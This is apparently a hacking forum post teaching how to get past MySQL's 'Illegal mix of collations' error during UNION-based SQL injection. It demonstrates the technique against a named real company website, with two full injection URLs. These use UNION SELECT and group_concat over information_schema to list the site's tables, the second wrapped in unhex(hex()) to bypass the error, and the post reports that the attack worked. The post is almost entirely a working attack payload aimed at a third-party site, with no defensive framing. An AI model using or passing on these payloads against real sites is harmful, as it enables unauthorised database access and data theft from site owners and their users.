By Passing Illegal mix of collations for operation 'UNION' !

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By Passing Illegal mix of collations for operation 'UNION'


That error cames up,when the char is not set as default.

As example i'll use this site :

http://www.elansystems.co.za/product-item.php?product_items_id=13

Example :

 http://www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()--

We can bypass it with this syntax :

unhex(hex(group_concat(table_name)))

So our syntax will be look like this : 

www.elansystems.co.za/product-item.php?product_items_id=-13+UNION+SELECT+1,2,3,4,5,6,7,8,unhex(hex(group_concat(table_name))),10,11,12,13,14,15+from+information_schema.tables+where+table_schema=database()--

 It works. Tables cames up.